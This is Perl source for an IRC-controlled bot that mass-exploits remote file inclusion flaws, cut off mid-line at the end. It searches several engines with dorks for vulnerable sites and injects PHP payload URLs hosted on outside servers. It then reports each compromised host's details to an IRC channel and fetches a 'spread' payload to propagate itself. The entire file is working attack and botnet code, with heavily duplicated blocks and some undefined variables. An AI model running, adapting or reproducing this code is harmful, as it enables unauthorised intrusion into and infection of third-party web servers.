$process = "/usr/sbin/ateam"; my $printcmd = "http://freewebtown.com/eridjon/cmdd.txt??"; my $id = "http://unisel.t35.com/abe.txt?"; my $spread = "http://unisel.t35.com/t.txt"; my $ircserver = "irc.malaysiairc.org"; my $start = "!scan"; my $port = "6667"; my $nickname = "TettHost" . int( rand(999) ) . "]"; my $admin = "My","Aliff"; my $channel = "#test"; ## the normal chan to scan, and see the results too :P my $chanres = "#test"; ## the channel where u can find all the results of the bot my $verz = "Priv8 RFI Scanner v1.0 beta"; print "\n"; print " Priv 8 Scanner\n"; print " Author: SeaNet\n"; print " Release $verz\n"; print " Server $ircserver:$port\n"; print " $channel and $chanres\n"; print " Enjoy ;)\n\n"; use IO::Socket::INET; use HTTP::Request; use LWP::UserAgent; require LWP; $|++; my $pid = fork; exit if $pid; $0 = "$process" . "\0" x 16; my $dsp = IO::Socket::INET->new( PeerAddr => "$ircserver", PeerPort => "$port", Proto => "tcp" ) or die "Can not connect on server!\n"; $dsp->autoflush(1); print $dsp "NICK $nickname\r\n"; print $dsp "USER infira 8 * : infira \r\n"; print $dsp "JOIN $channel\r\n"; print $dsp "PRIVMSG $channel :9,1Priv8 Scaner Pornit!! \r\n"; print $dsp "PRIVMSG $channel :8,1Comanda Scan:9,1 !scan bug dork 0,1& 4,1!google bug dork \r\n"; print $dsp "PRIVMSG $channel :9,1Priv8 RFIScanner powered By SeaNet® \r\n"; sleep(1); print $dsp "NICK $nickname\r\n"; print $dsp "USER SeaNet * : SeaNet \r\n"; print $dsp "JOIN $chanres\r\n"; print $dsp "PRIVMSG $chanres :9,1Aici vin rezultatele :) \r\n"; print $dsp "PRIVMSG $chanres :9,1Priv8 RFIScanner powered By SeaNet® \r\n"; while ( $line = <$dsp> ) { $line =~ s/\r\n$//; if ( $line =~ /^PING \:(.*)/ ) { print "PONG :$1"; print $dsp "PONG :$1"; } if ( $line =~ /PRIVMSG $channel :!help/ ) { sleep(1); display( $dsp, "PRIVMSG $channel :9,1Working ..." ); display( $dsp, "PRIVMSG $channel :8,1[Ajutor]9,1 Pentru a scana foloseste comanda :4,1 !scan bug dork & !google bug dork" ); display( $dsp, "PRIVMSG $channel :8,1[Ajutor]9,1 Pentru informatii server tasteaza: 4,1!info" ); } if ( $line =~ /PRIVMSG $channel :!info/ ) { my $sysos = `uname -sr`; my $uptime = `uptime`; if ( $sysos =~ /freebsd/i ) { $sysname = `hostname`; $memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`; $swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`; chomp($memory); chomp($swap); } elsif ( $sysos =~ /linux/i ) { $sysname = `hostname -f`; $memory = `free -m |grep -i mem | awk '{print \$2}'`; $swap = `free -m |grep -i swap | awk '{print \$2}'`; chomp($swap); chomp($memory); } else { $sysname = "No Found"; $memory = "No found"; $swap = "No Found"; } $uptime =~ s/\n//g; $sysname =~ s/\n//g; $sysos =~ s/\n//g; sleep(1); display( $dsp, "PRIVMSG $channel :9,1Working ..." ); display( $dsp, "PRIVMSG $channel :8,1[Info]9,1 Server: $ircserver Port: $port" ); display( $dsp, "PRIVMSG $channel :8,1[Info] 9,1Software: $sysos" ); display( $dsp, "PRIVMSG $channel :8,1[Info] 9,1Process/Pid:8,1 $process" ); display( $dsp, "PRIVMSG $channel :8,1[Info]9,1 Uptime: $uptime" ); display( $dsp, "PRIVMSG $channel :8,1[Info]9,1 Memorie: $memory Swap: $swap" ); display( $dsp, "PRIVMSG $channel :8,1[Info]9,1 Creator: SeaNet" ); display( $dsp, "PRIVMSG $channel :8,1[Info]9,1 Versiune: $verz" ); } if ( $line =~ /PRIVMSG $channel :!id/ ) { ## ©© Script made by kangkung . Don't remove this comment ! my $testid = $id; my $req = HTTP::Request->new( GET => $testid ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /<\?php/ ) { sleep(1); display( $dsp, "PRIVMSG $channel :8,1[Info]9,1 Id`ul este online" ); } } else { sleep(1); display( $dsp, "PRIVMSG $channel :8,1[Info]9,1 Id`ul nu este activ." ); display( $dsp, "PRIVMSG $channel :8,1[Info]9,1 Modifica setarile cu noul id." ); display( $dsp, "PRIVMSG $channel :8,1[Info]9,1 Ruleaza din nou scannerul." ); display( $dsp, "PRIVMSG $channel :8,1[WARNING]9,1 Deconectare initiata." ); sleep(2); display( $dsp, "PRIVMSG $channel :8,1[WARNING]9,1 Bye Bye" ); display( $dsp, "QUIT" ); } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; sleep(1); display( $dsp, "PRIVMSG $channel :8,1[Info]9,1Scanare pornita pentru: 4,1$dork" ); my @google = &googlet($dork); push( my @tot, @google ); my @puliti = &unici(@tot); display( $dsp, "PRIVMSG $channel :9,1GOOGLE " . scalar(@tot) . " 9,1/9,1 " . scalar(@puliti) . " 9,1 pentru:4,1 $dork" ); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp, "PRIVMSG $channel :8,1[Info]9,1 Google a terminat pentru:4,1 $dork" ); } my $test = "http://" . $site . $bug . $id . "?"; my $print = "http://" . $site . $bug . $printcmd . "?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /kangkung/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: $un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: Free: $free , Used: $used , Total: $all" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: $up" ); display( $dsp, "PRIVMSG $channel :9,1ID: $id1" ); display( $dsp, "PRIVMSG $channel :9,1PWD: $pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: $sof1" ); display( $dsp, "PRIVMSG $channel :9,1Ip Addr: $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); my $test2 = "http://" . $site . $bug . $spread . "?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /kangkung/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :!google\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @google = &googlet($dork); push( my @tot, @google ); my @puliti = &unici(@tot); display( $dsp, "PRIVMSG $channel :8,1[Info]9,1Google ByPASS " . scalar(@tot) . " 9,1/9,1 " . scalar(@puliti) . "  9,1pentru4,1 $dork" ); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp, "PRIVMSG $channel :8,1[Info]9,1Google ByPASS a terminanat pentru4,1 $dork" ); } my $test = "http://" . $site . $bug . $id . "?"; my $print = "http://" . $site . $bug . $printcmd . "?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /kangkung/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1ID: $id1" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode:8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode:8,1Off 9,1Os: $os Link: $print" ); my $test2 = "http://" . $site . $bug . $spread . "?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /kangkung/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :12(4hdd12) 12 Free: ($free) Used: ($used) Total: ($all) " ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :12(4php12) 12 $php1" ); display( $dsp, "PRIVMSG $channel :12(4software12) 12 $sof1 " ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :12(4server-name12) 12 $name1 " ); display( $dsp, "PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @alltheweb = &alltheweb($dork); push( my @tot, @alltheweb ); my @puliti = &unici(@tot); display( $dsp, "PRIVMSG $channel :9,1ALLTHEWEB " . scalar(@tot) . " 9,1/9,1 " . scalar(@puliti) . " 9,1pentru4,1 $dork" ); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp, "PRIVMSG $channel :9,1AllTheWeb a terminat pentru4,1 $dork" ); } my $test = "http://" . $site . $bug . $id . "?"; my $print = "http://" . $site . $bug . $printcmd . "?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /kangkung/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1ID: $id1" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); my $test2 = "http://" . $site . $bug . $spread . "?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /kangkung/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @uol = &uolsub($dork); push( my @tot, @uol ); my @puliti = &unici(@tot); display( $dsp, "PRIVMSG $channel :9,1UOL " . scalar(@tot) . " 9,1/9,1 " . scalar(@puliti) . "  11pentru9,1 $dork" ); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp, "PRIVMSG $channel :9,1UOL a terminat pentru4,1 $dork" ); } my $test = "http://" . $site . $bug . $id . "?"; my $print = "http://" . $site . $bug . $printcmd . "?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /kangkung/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1ID: $id1" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); my $test2 = "http://" . $site . $bug . $spread . "?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /kangkung/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @altavista = &altavista($dork); push( my @tot, @allist, @alldeist, @allistus ); my @puliti = &unici(@tot); display( $dsp, "PRIVMSG $channel :9,1ALTAVISTA " . scalar(@tot) . " 9,1/9,1 " . scalar(@puliti) . " 9,1pentru4,1 $dork" ); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp, "PRIVMSG $channel :9,1ALTAVISTA a terminat pentru9,1 $dork" ); } my $test = "http://" . $site . $bug . $id . "?"; my $print = "http://" . $site . $bug . $printcmd . "?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /kangkung/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1ID: $id1" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); my $test2 = "http://" . $site . $bug . $spread . "?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /kangkung/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @searchlist = &search($dork); my @search2 = &searchs($dork); push( my @tot, @searchlist, @search2 ); my @puliti = &unici(@tot); display( $dsp, "PRIVMSG $channel :9,1SEARCH " . scalar(@tot) . " 9,1/9,1 " . scalar(@puliti) . " 9,1 pentru4,1 $dork" ); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp, "PRIVMSG $channel :9,1SEARCH a terminat pentru4,1 $dork" ); } my $test = "http://" . $site . $bug . $id . "?"; my $print = "http://" . $site . $bug . $printcmd . "?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /kangkung/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1ID: $id1" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); my $test2 = "http://" . $site . $bug . $spread . "?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /kangkung/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print" ); } } } } } exit; } } if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) { if ( my $pid = fork ) { waitpid( $pid, 0 ); } else { if (fork) { exit; } else { my $bug = $1; my $dork = $2; my $contatore = 0; my %hosts; my @mlist = &msn($dork); push( my @tot, @mlist ); my @puliti = &unici(@tot); display( $dsp, "PRIVMSG $channel :9,1MSN " . scalar(@tot) . " 9,1/9,1 " . scalar(@puliti) . "  9,1pentru4,1 $dork" ); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp, "PRIVMSG $channel :12MSN a terminat pentru4,1 $dork" ); } my $test = "http://" . $site . $bug . $id . "?"; my $print = "http://" . $site . $bug . $printcmd . "?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /kangkung/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1ID: $id1" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); my $test2 = "http://" . $site . $bug . $spread . "?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /kangkung/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp, "PRIVMSG $channel :9,1Exploiting .." ); display( $dsp, "PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print" ); display( $dsp, "PRIVMSG $channel :9,1Uname -a: 8,1$un" ); display( $dsp, "PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)" ); display( $dsp, "PRIVMSG $channel :9,1Uptime: 8,1 $up" ); display( $dsp, "PRIVMSG $channel :9,1PWD: 8,1$pwd1" ); display( $dsp, "PRIVMSG $channel :9,1PHP Vers: 8,1 $php1" ); display( $dsp, "PRIVMSG $channel :9,1Software: 8,1 $sof1" ); display( $dsp, "PRIVMSG $channel :9,1IP Addr: 8,1 $ip1" ); display( $dsp, "PRIVMSG $channel :9,1Hostname: 8,1 $name1" ); display( $dsp, "PRIVMSG $admin :9,1Safemode:8,1 On 